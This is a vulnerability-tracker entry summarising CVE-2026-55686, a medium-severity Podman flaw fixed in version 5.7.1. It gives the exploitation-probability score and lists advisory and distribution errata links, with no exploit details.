| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-55686 is a medium vulnerability (CVSS 5.3) in Containers Podman, published June 18, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.40%, the 34th percentile. Fixed in github.com/containers/podman/v5 5.7.1.
References
github.com/podman-container-tools/podman/security/advisories/GHSA-q6r4-3wmg-fwcq
nvd.nist.gov/vuln/detail/CVE-2026-55686
docs.bell-sw.com/security/cves/CVE-2026-55686
Show 194 moreShow less
errata.tuxcare.com/els_os/almalinux9.2esu/CLSA-2026-1782985538.html
security-tracker.debian.org/tracker/CVE-2026-55686
access.redhat.com/errata/RHSA-2026:29954
images.redhat.com
security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_29954.json
bugzilla.redhat.com/show_bug.cgi?id=2493624
cve.org/CVERecord?id=CVE-2026-55686
suse.com/support/update/announcement/2026/suse-su-202623205-1
bugzilla.suse.com/1268579
ubuntu.com/security/CVE-2026-55686
Left out here: 1,571 references and the rest of 1 source description. The JSON record has them.